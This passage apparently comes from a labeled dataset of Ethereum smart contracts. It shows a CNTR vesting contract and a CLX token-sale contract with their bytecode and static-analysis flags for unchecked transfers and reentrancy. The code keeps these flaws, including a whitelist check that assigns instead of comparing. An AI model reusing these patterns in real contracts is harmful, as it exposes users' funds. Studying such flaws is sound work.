* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
contract VestingContract is Ownable {
using SafeMath for uint256;
// CNTR Token Contract
IERC20 tokenContract = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B);
uint256[] vestingSchedule;
address public receivingAddress;
uint256 public vestingStartTime;
uint256 constant public releaseInterval = 30 days;
uint256 public totalTokens;
uint256 public totalDistributed;
uint256 index = 0;
constructor(address _address) public {
receivingAddress = _address;
}
function updateVestingSchedule(uint256[] memory _vestingSchedule) public onlyOwner {
require(vestingStartTime == 0);
vestingSchedule = _vestingSchedule;
for(uint256 i = 0; i < vestingSchedule.length; i++) {
totalTokens = totalTokens.add(vestingSchedule[i]);
}
}
function updateReceivingAddress(address _address) public onlyOwner {
receivingAddress = _address;
}
function releaseToken() public {
require(vestingSchedule.length > 0);
require(msg.sender == owner() || msg.sender == receivingAddress);
if (vestingStartTime == 0) {
require(msg.sender == owner());
vestingStartTime = block.timestamp;
}
for (uint256 i = index; i < vestingSchedule.length; i++) {
if (block.timestamp >= vestingStartTime + (index * releaseInterval)) {
tokenContract.transfer(receivingAddress, (vestingSchedule[i] * 1 ether));
totalDistributed = totalDistributed.add(vestingSchedule[i]);
index = index.add(1);
} else {
break;
}
}
}
function getVestingSchedule() public view returns (uint256[] memory) {
return vestingSchedule;
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063a3d272ce11610071578063a3d272ce146101f2578063a8660a7814610236578063c4b6c5fa14610254578063ec715a311461030c578063efca2eed14610316578063f2fde38b14610334576100b4565b80631db87be8146100b95780631f8db268146101035780633a05f0d814610121578063715018a6146101805780637e1c0c091461018a5780638da5cb5b146101a8575b600080fd5b6100c1610378565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61010b61039e565b6040518082815260200191505060405180910390f35b6101296103a5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561016c578082015181840152602081019050610151565b505050509050019250505060405180910390f35b6101886103fd565b005b610192610585565b6040518082815260200191505060405180910390f35b6101b061058b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102346004803603602081101561020857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105b4565b005b61023e6106c1565b6040518082815260200191505060405180910390f35b61030a6004803603602081101561026a57600080fd5b810190808035906020019064010000000081111561028757600080fd5b82018360208201111561029957600080fd5b803590602001918460208302840111640100000000831117156102bb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506106c7565b005b61031461080c565b005b61031e610abe565b6040518082815260200191505060405180910390f35b6103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac4565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b62278d0081565b606060028054806020026020016040519081016040528092919081815260200182805480156103f357602002820191906000526020600020905b8154815260200190600101908083116103df575b5050505050905090565b610405610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6105bc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b6106cf610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610790576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006004541461079f57600080fd5b80600290805190602001906107b5929190610d61565b5060008090505b600280549050811015610808576107f5600282815481106107d957fe5b9060005260206000200154600554610cd990919063ffffffff16565b60058190555080806001019150506107bc565b5050565b60006002805490501161081e57600080fd5b61082661058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108ac5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108b557600080fd5b60006004541415610907576108c861058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ff57600080fd5b426004819055505b600060075490505b600280549050811015610abb5762278d0060075402600454014210610aa957600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000600285815481106109a557fe5b9060005260206000200154026040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a1a57600080fd5b505af1158015610a2e573d6000803e3d6000fd5b505050506040513d6020811015610a4457600080fd5b810190808051906020019092919050505050610a8260028281548110610a6657fe5b9060005260206000200154600654610cd990919063ffffffff16565b600681905550610a9e6001600754610cd990919063ffffffff16565b600781905550610aae565b610abb565b808060010191505061090f565b50565b60065481565b610acc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610dd46026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600080828401905083811015610d57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054828255906000526020600020908101928215610d9d579160200282015b82811115610d9c578251825591602001919060010190610d81565b5b509050610daa9190610dae565b5090565b610dd091905b80821115610dcc576000816000905550600101610db4565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122071000f4d21f3ecf9786900cd34cec43ee18cd0a5ed0f222212d5488900c3810f64736f6c63430006060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 8,080 |
0x5477b7773e01e31da5a2260a0891699a01752ce7
|
pragma solidity 0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transfer(address _to, uint256 _amount)external returns (bool success);
function balanceOf(address _owner) external view returns (uint256 balance);
function decimals()external view returns (uint8);
}
/**
* @title Vault
* @dev This contract is used for storing funds while a crowdsale
* is in progress. Funds will be transferred to owner on adhoc requests
*/
contract Vault is Ownable {
using SafeMath for uint256;
mapping (address => uint256) public deposited;
address public wallet;
event Withdrawn(address _wallet);
constructor (address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
}
function deposit(address investor) public onlyOwner payable{
deposited[investor] = deposited[investor].add(msg.value);
}
function withdrawToWallet() public onlyOwner {
wallet.transfer(address(this).balance);
emit Withdrawn(wallet);
}
}
contract CLXTokenSale is Ownable{
using SafeMath for uint256;
//Token to be used for this sale
Token public token;
//All funds will go into this vault
Vault public vault;
// This mapping stores the addresses of whitelisted users
mapping(address => bool) public whitelisted;
//rate of token in ether 1ETH = 8000 CLX
uint256 public rate = 8000;
/*
*There will be 2 phases
* 1. Pre-sale
* 2. ICO Phase 1
*/
struct PhaseInfo{
uint256 hardcap;
uint256 startTime;
uint256 endTime;
uint8 bonusPercentages;
uint256 minEtherContribution;
uint256 weiRaised;
}
//info of each phase
PhaseInfo[] public phases;
//Total funding
uint256 public totalFunding;
//total tokens available for sale considering 8 decimal places
uint256 tokensAvailableForSale = 17700000000000000;
uint8 public noOfPhases;
//Keep track of whether contract is up or not
bool public contractUp;
//Keep track of whether the sale has ended or not
bool public saleEnded;
//Keep track of emergency stop
bool public ifEmergencyStop ;
//Event to trigger Sale stop
event SaleStopped(address _owner, uint256 time);
//Event to trigger Sale restart
event SaleRestarted(address _owner, uint256 time);
//Event to trigger normal flow of sale end
event Finished(address _owner, uint256 time);
//Event to add user to the whitelist
event LogUserAdded(address user);
//Event to remove user to the whitelist
event LogUserRemoved(address user);
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
//modifiers
modifier _contractUp(){
require(contractUp);
_;
}
modifier nonZeroAddress(address _to) {
require(_to != address(0));
_;
}
modifier _saleEnded() {
require(saleEnded);
_;
}
modifier _saleNotEnded() {
require(!saleEnded);
_;
}
modifier _ifNotEmergencyStop() {
require(!ifEmergencyStop);
_;
}
/**
* @dev Check if sale contract has enough tokens on its account balance
* to reward all possible participations within sale period
*/
function powerUpContract() external onlyOwner {
// Contract should not be powered up previously
require(!contractUp);
// Contract should have enough CLX credits
require(token.balanceOf(this) >= tokensAvailableForSale);
//activate the sale process
contractUp = true;
}
//for Emergency stop of the sale
function emergencyStop() external onlyOwner _contractUp {
require(!ifEmergencyStop);
ifEmergencyStop = true;
emit SaleStopped(msg.sender, now);
}
//to restart the sale after emergency stop
function emergencyRestart() external onlyOwner _contractUp {
require(ifEmergencyStop);
ifEmergencyStop = false;
emit SaleRestarted(msg.sender, now);
}
// @return true if all the tiers has been ended
function saleTimeOver() public view returns (bool) {
return (phases[noOfPhases-1].endTime != 0);
}
/**
* @dev Can be called only once. The method to allow owner to set tier information
* @param _noOfPhases The integer to set number of tiers
* @param _startTimes The array containing start time of each tier
* @param _endTimes The array containing end time of each tier
* @param _hardCaps The array containing hard cap for each tier
* @param _bonusPercentages The array containing bonus percentage for each tier
* The arrays should be in sync with each other. For each index 0 for each of the array should contain info about Tier 1, similarly for Tier2, 3 and 4 .
* Sales hard cap will be the hard cap of last tier
*/
function setTiersInfo(uint8 _noOfPhases, uint256[] _startTimes, uint256[] _endTimes, uint256[] _hardCaps ,uint256[] _minEtherContribution, uint8[2] _bonusPercentages)private {
require(_noOfPhases == 2);
//Each array should contain info about each tier
require(_startTimes.length == 2);
require(_endTimes.length == _noOfPhases);
require(_hardCaps.length == _noOfPhases);
require(_bonusPercentages.length == _noOfPhases);
noOfPhases = _noOfPhases;
for(uint8 i = 0; i < _noOfPhases; i++){
require(_hardCaps[i] > 0);
if(i>0){
phases.push(PhaseInfo({
hardcap:_hardCaps[i],
startTime:_startTimes[i],
endTime:_endTimes[i],
minEtherContribution : _minEtherContribution[i],
bonusPercentages:_bonusPercentages[i],
weiRaised:0
}));
}
else{
//start time of tier1 should be greater than current time
require(_startTimes[i] > now);
phases.push(PhaseInfo({
hardcap:_hardCaps[i],
startTime:_startTimes[i],
minEtherContribution : _minEtherContribution[i],
endTime:_endTimes[i],
bonusPercentages:_bonusPercentages[i],
weiRaised:0
}));
}
}
}
/**
* @dev Constructor method
* @param _tokenToBeUsed Address of the token to be used for Sales
* @param _wallet Address of the wallet which will receive the collected funds
*/
constructor (address _tokenToBeUsed, address _wallet)public nonZeroAddress(_tokenToBeUsed) nonZeroAddress(_wallet){
token = Token(_tokenToBeUsed);
vault = new Vault(_wallet);
uint256[] memory startTimes = new uint256[](2);
uint256[] memory endTimes = new uint256[](2);
uint256[] memory hardCaps = new uint256[](2);
uint256[] memory minEtherContribution = new uint256[](2);
uint8[2] memory bonusPercentages;
//pre-sales
startTimes[0] = 1531180800; //JULY 10, 2018 00:00 AM GMT
endTimes[0] = 0; //NO END TIME INITIALLY
hardCaps[0] = 7500 ether;
minEtherContribution[0] = 0.3 ether;
bonusPercentages[0] = 20;
//phase-1: Public Sale
startTimes[1] = 0; //NO START TIME INITIALLY
endTimes[1] = 0; //NO END TIME INITIALLY
hardCaps[1] = 12500 ether;
minEtherContribution[1] = 0.1 ether;
bonusPercentages[1] = 5;
setTiersInfo(2, startTimes, endTimes, hardCaps, minEtherContribution, bonusPercentages);
}
//Fallback function used to buytokens
function()public payable{
buyTokens(msg.sender);
}
function startNextPhase() public onlyOwner _saleNotEnded _contractUp _ifNotEmergencyStop returns(bool){
int8 currentPhaseIndex = getCurrentlyRunningPhase();
require(currentPhaseIndex == 0);
PhaseInfo storage currentlyRunningPhase = phases[uint256(currentPhaseIndex)];
uint256 tokensLeft;
uint256 tokensInPreICO = 7200000000000000; //considering 8 decimal places
//Checking if tokens are left after the Pre ICO sale, if left, transfer all to the owner
if(currentlyRunningPhase.weiRaised <= 7500 ether) {
tokensLeft = tokensInPreICO.sub(currentlyRunningPhase.weiRaised.mul(9600).div(10000000000));
token.transfer(msg.sender, tokensLeft);
}
phases[0].endTime = now;
phases[1].startTime = now;
return true;
}
/**
* @dev Must be called after sale ends, to do some extra finalization
* work. It finishes the sale, sends the unsold tokens to the owner's address
* and transfer the remaining funds in contract to the owner.
*/
function finishSale() public onlyOwner _contractUp _saleNotEnded returns (bool){
int8 currentPhaseIndex = getCurrentlyRunningPhase();
require(currentPhaseIndex == 1);
PhaseInfo storage currentlyRunningPhase = phases[uint256(currentPhaseIndex)];
uint256 tokensLeft;
uint256 tokensInPublicSale = 10500000000000000; //considering 8 decimal places
//Checking if tokens are left after the Public sale, if left, transfer all to the owner
if(currentlyRunningPhase.weiRaised <= 12500 ether) {
tokensLeft = tokensInPublicSale.sub(currentlyRunningPhase.weiRaised.mul(8400).div(10000000000));
token.transfer(msg.sender, tokensLeft);
}
//End the sale
saleEnded = true;
//Set the endTime of Public Sale
phases[noOfPhases-1].endTime = now;
emit Finished(msg.sender, now);
return true;
}
/**
* @dev Low level token purchase function
* @param beneficiary The address who will receive the tokens for this transaction
*/
function buyTokens(address beneficiary)public _contractUp _saleNotEnded _ifNotEmergencyStop nonZeroAddress(beneficiary) payable returns(bool){
require(whitelisted[beneficiary]);
int8 currentPhaseIndex = getCurrentlyRunningPhase();
assert(currentPhaseIndex >= 0);
// recheck this for storage and memory
PhaseInfo storage currentlyRunningPhase = phases[uint256(currentPhaseIndex)];
uint256 weiAmount = msg.value;
//Check hard cap for this phase has not been reached
require(weiAmount.add(currentlyRunningPhase.weiRaised) <= currentlyRunningPhase.hardcap);
//check the minimum ether contribution
require(weiAmount >= currentlyRunningPhase.minEtherContribution);
uint256 tokens = weiAmount.mul(rate).div(10000000000);//considering decimal places to be 8 for token
uint256 bonusedTokens = applyBonus(tokens, currentlyRunningPhase.bonusPercentages);
totalFunding = totalFunding.add(weiAmount);
currentlyRunningPhase.weiRaised = currentlyRunningPhase.weiRaised.add(weiAmount);
vault.deposit.value(msg.value)(msg.sender);
token.transfer(beneficiary, bonusedTokens);
emit TokenPurchase(msg.sender, beneficiary, weiAmount, bonusedTokens);
return true;
}
//Check balance of token of each phase
function tokensLeftInPhase(int8 phase) public view returns(uint256) {
PhaseInfo storage currentlyRunningPhase = phases[uint256(phase)];
uint256 tokensLeft;
if(phase == 0) {
uint256 tokensInPreICO= 7200000000000000;
tokensLeft = tokensInPreICO.sub(currentlyRunningPhase.weiRaised.mul(9600).div(10000000000));
return tokensLeft;
}
else {
uint256 tokensInPublicSale = 10500000000000000;
tokensLeft = tokensInPublicSale.sub(currentlyRunningPhase.weiRaised.mul(8400).div(10000000000));
return tokensLeft;
}
}
/**
*@dev Method to calculate bonus for the user as per currently running phase and contribution by the user
* @param tokens Total tokens purchased by the user
* @param percentage Array of bonus percentages for the phase
*/
function applyBonus(uint256 tokens, uint8 percentage) private pure returns (uint256) {
uint256 tokensToAdd = 0;
tokensToAdd = tokens.mul(percentage).div(100);
return tokens.add(tokensToAdd);
}
/**
* @dev returns the currently running tier index as per time
* Return -1 if no tier is running currently
* */
function getCurrentlyRunningPhase()public view returns(int8){
for(uint8 i=0;i<noOfPhases;i++){
if(phases[i].startTime!=0 && now>=phases[i].startTime && phases[i].endTime == 0){
return int8(i);
}
}
return -1;
}
// Add a user to the whitelist
function addUser(address user) public nonZeroAddress(user) onlyOwner returns (bool) {
require(whitelisted[user] == false);
whitelisted[user] = true;
emit LogUserAdded(user);
return true;
}
// Remove an user from the whitelist
function removeUser(address user) public nonZeroAddress(user) onlyOwner returns(bool){
require(whitelisted[user] = true);
whitelisted[user] = false;
emit LogUserRemoved(user);
return true;
}
// Add many users in one go to the whitelist
function addManyUsers(address[] users)public onlyOwner {
require(users.length < 100);
for (uint8 index = 0; index < users.length; index++) {
whitelisted[users[index]] = true;
emit LogUserAdded(users[index]);
}
}
//Method to check whether a user is there in the whitelist or not
function checkUser(address user) onlyOwner public view returns (bool){
return whitelisted[user];
}
//method to check the user balance
function checkUserTokenBalance(address _user) public view returns(uint256) {
return token.balanceOf(_user);
}
/**
* @dev Get funding info of user/address.
* It will return how much funding the user has made in terms of wei
*/
function getFundingInfoForUser(address _user)public view nonZeroAddress(_user) returns(uint256){
return vault.deposited(_user);
}
/**
* @dev Allow owner to withdraw funds to his wallet anytime in between the sale process
*/
function withDrawFunds()public onlyOwner _contractUp {
vault.withdrawToWallet();
}
}
|
0x6080604052600436106101695763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306d145c98114610175578063137a1464146101a85780631b35f56f146101d15780631e9d48cf146101ff5780632c4e722e146102205780632e37eef6146102355780633a7befc614610282578063421b2d8b146102a35780635b389dbb146102c457806363a599a4146102db5780636563b2fc146102f05780638b6932f11461030b5780638da5cb5b146103205780638f86f5ea1461035157806398575188146103665780639b8906ae14610387578063a0edc2041461039c578063a612c638146103c7578063ac270c37146103dc578063b78da386146103f1578063ba61810c14610406578063d936547e1461041b578063ec8ac4d81461043c578063ed28ef5114610450578063f2fde38b146104a5578063fbfa77cf146104c6578063fc0c546a146104db578063fe47a8a7146104f0575b61017233610505565b50005b34801561018157600080fd5b50610196600160a060020a03600435166107e8565b60408051918252519081900360200190f35b3480156101b457600080fd5b506101bd61089b565b604080519115158252519081900360200190f35b3480156101dd57600080fd5b506101e66108ab565b60408051600092830b90920b8252519081900360200190f35b34801561020b57600080fd5b506101bd600160a060020a0360043516610962565b34801561022c57600080fd5b50610196610999565b34801561024157600080fd5b5061024d60043561099f565b6040805196875260208701959095528585019390935260ff9091166060850152608084015260a0830152519081900360c00190f35b34801561028e57600080fd5b50610196600160a060020a03600435166109e9565b3480156102af57600080fd5b506101bd600160a060020a0360043516610a86565b3480156102d057600080fd5b506102d9610b3c565b005b3480156102e757600080fd5b506102d9610c19565b3480156102fc57600080fd5b5061019660043560000b610cac565b34801561031757600080fd5b506101bd610d6d565b34801561032c57600080fd5b50610335610da5565b60408051600160a060020a039092168252519081900360200190f35b34801561035d57600080fd5b506101bd610db4565b34801561037257600080fd5b506101bd600160a060020a0360043516610faa565b34801561039357600080fd5b506101bd61103d565b3480156103a857600080fd5b506103b161104c565b6040805160ff9092168252519081900360200190f35b3480156103d357600080fd5b506102d9611055565b3480156103e857600080fd5b506101bd6110e3565b3480156103fd57600080fd5b506102d96110f1565b34801561041257600080fd5b506101bd6111a4565b34801561042757600080fd5b506101bd600160a060020a036004351661137c565b6101bd600160a060020a0360043516610505565b34801561045c57600080fd5b50604080516020600480358082013583810280860185019096528085526102d9953695939460249493850192918291850190849080828437509497506113919650505050505050565b3480156104b157600080fd5b506102d9600160a060020a0360043516611475565b3480156104d257600080fd5b50610335611509565b3480156104e757600080fd5b50610335611518565b3480156104fc57600080fd5b50610196611527565b600080600080600080600860019054906101000a900460ff16151561052957600080fd5b60085462010000900460ff161561053f57600080fd5b6008546301000000900460ff161561055657600080fd5b86600160a060020a038116151561056c57600080fd5b600160a060020a03881660009081526003602052604090205460ff16151561059357600080fd5b61059b6108ab565b9550600086810b12156105aa57fe5b60058660000b8154811015156105bc57fe5b9060005260206000209060060201945034935084600001546105eb86600501548661152d90919063ffffffff16565b11156105f657600080fd5b600485015484101561060757600080fd5b6106316402540be4006106256004548761154790919063ffffffff16565b9063ffffffff61157216565b600386015490935061064790849060ff16611589565b60065490925061065d908563ffffffff61152d16565b6006556005850154610675908563ffffffff61152d16565b6005860155600254604080517ff340fa010000000000000000000000000000000000000000000000000000000081523360048201529051600160a060020a039092169163f340fa01913491602480830192600092919082900301818588803b1580156106e057600080fd5b505af11580156106f4573d6000803e3d6000fd5b5050600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038e8116600483015260248201899052915191909216945063a9059cbb9350604480830193506020928290030181600087803b15801561076657600080fd5b505af115801561077a573d6000803e3d6000fd5b505050506040513d602081101561079057600080fd5b505060408051858152602081018490528151600160a060020a038b169233927f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18929081900390910190a3506001979650505050505050565b600081600160a060020a038116151561080057600080fd5b600254604080517fcb13cddb000000000000000000000000000000000000000000000000000000008152600160a060020a0386811660048301529151919092169163cb13cddb9160248083019260209291908290030181600087803b15801561086857600080fd5b505af115801561087c573d6000803e3d6000fd5b505050506040513d602081101561089257600080fd5b50519392505050565b6008546301000000900460ff1681565b6000805b60085460ff9081169082161015610958576005805460ff83169081106108d157fe5b90600052602060002090600602016001015460001415801561091557506005805460ff83169081106108ff57fe5b9060005260206000209060060201600101544210155b801561094357506005805460ff831690811061092d57fe5b9060005260206000209060060201600201546000145b156109505780915061095e565b6001016108af565b60001991505b5090565b60008054600160a060020a0316331461097a57600080fd5b50600160a060020a031660009081526003602052604090205460ff1690565b60045481565b60058054829081106109ad57fe5b60009182526020909120600690910201805460018201546002830154600384015460048501546005909501549395509193909260ff9092169186565b600154604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a038481166004830152915160009392909216916370a082319160248082019260209290919082900301818787803b158015610a5457600080fd5b505af1158015610a68573d6000803e3d6000fd5b505050506040513d6020811015610a7e57600080fd5b505192915050565b600081600160a060020a0381161515610a9e57600080fd5b600054600160a060020a03163314610ab557600080fd5b600160a060020a03831660009081526003602052604090205460ff1615610adb57600080fd5b600160a060020a038316600081815260036020908152604091829020805460ff19166001179055815192835290517f187047b56eb20e7a0313254e37dc60b8c1a9d25707114d2caaaee420b2b7ec239281900390910190a150600192915050565b600054600160a060020a03163314610b5357600080fd5b600854610100900460ff1615610b6857600080fd5b600754600154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a03909216916370a08231916024808201926020929091908290030181600087803b158015610bd157600080fd5b505af1158015610be5573d6000803e3d6000fd5b505050506040513d6020811015610bfb57600080fd5b50511015610c0857600080fd5b6008805461ff001916610100179055565b600054600160a060020a03163314610c3057600080fd5b600854610100900460ff161515610c4657600080fd5b6008546301000000900460ff1615610c5d57600080fd5b6008805463ff000000191663010000001790556040805133815242602082015281517f4898556e3bd8b06263e50e938f30f736c1fd2030390474dd6bc0b28d8c545037929181900390910190a1565b600080600080600060058660000b815481101515610cc657fe5b906000526020600020906006020193508560000b60001415610d28576619945ca26200009150610d1e610d116402540be400610625612580886005015461154790919063ffffffff16565b839063ffffffff6115be16565b9250829450610d64565b66254db1c22440009050610d1e610d576402540be4006106256120d0886005015461154790919063ffffffff16565b829063ffffffff6115be16565b50505050919050565b6008546005805460009260001960ff9182160116908110610d8a57fe5b90600052602060002090600602016002015460001415905090565b600054600160a060020a031681565b600080548190819081908190600160a060020a03163314610dd457600080fd5b600854610100900460ff161515610dea57600080fd5b60085462010000900460ff1615610e0057600080fd5b610e086108ab565b93506001600085900b14610e1b57600080fd5b60058460000b815481101515610e2d57fe5b9060005260206000209060060201925066254db1c224400090506902a5a058fc295ed000008360050154111515610f2057610e83610d576402540be4006106256120d0876005015461154790919063ffffffff16565b600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018490529051929450600160a060020a039091169163a9059cbb916044808201926020929091908290030181600087803b158015610ef357600080fd5b505af1158015610f07573d6000803e3d6000fd5b505050506040513d6020811015610f1d57600080fd5b50505b6008805462ff0000191662010000179081905560058054429260001960ff9182160116908110610f4c57fe5b60009182526020918290206002600690920201019190915560408051338152429281019290925280517f2a5c3ee768d1c9d9e961d2a5461ad9e60b0182d849dfa1219c72416682c1b4fe9281900390910190a1600194505050505090565b600081600160a060020a0381161515610fc257600080fd5b600054600160a060020a03163314610fd957600080fd5b600160a060020a0383166000818152600360209081526040918290208054600160ff1991821617169055815192835290517f820cfa068d67f8bd8bb05be4525aca026c8a81dd1925efc320ecd01ab716569f9281900390910190a150600192915050565b60085462010000900460ff1681565b60085460ff1681565b600054600160a060020a0316331461106c57600080fd5b600854610100900460ff16151561108257600080fd5b6008546301000000900460ff16151561109a57600080fd5b6008805463ff000000191690556040805133815242602082015281517ff51d76165eae3d3ae114e4b7e669401ba7153d9a87dd96b74640730e3872274b929181900390910190a1565b600854610100900460ff1681565b600054600160a060020a0316331461110857600080fd5b600854610100900460ff16151561111e57600080fd5b600260009054906101000a9004600160a060020a0316600160a060020a03166303ba27f66040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15801561118a57600080fd5b505af115801561119e573d6000803e3d6000fd5b50505050565b600080548190819081908190600160a060020a031633146111c457600080fd5b60085462010000900460ff16156111da57600080fd5b600854610100900460ff1615156111f057600080fd5b6008546301000000900460ff161561120757600080fd5b61120f6108ab565b9350600084900b1561122057600080fd5b60058460000b81548110151561123257fe5b906000526020600020906006020192506619945ca262000090506901969368974c05b000008360050154111515611325576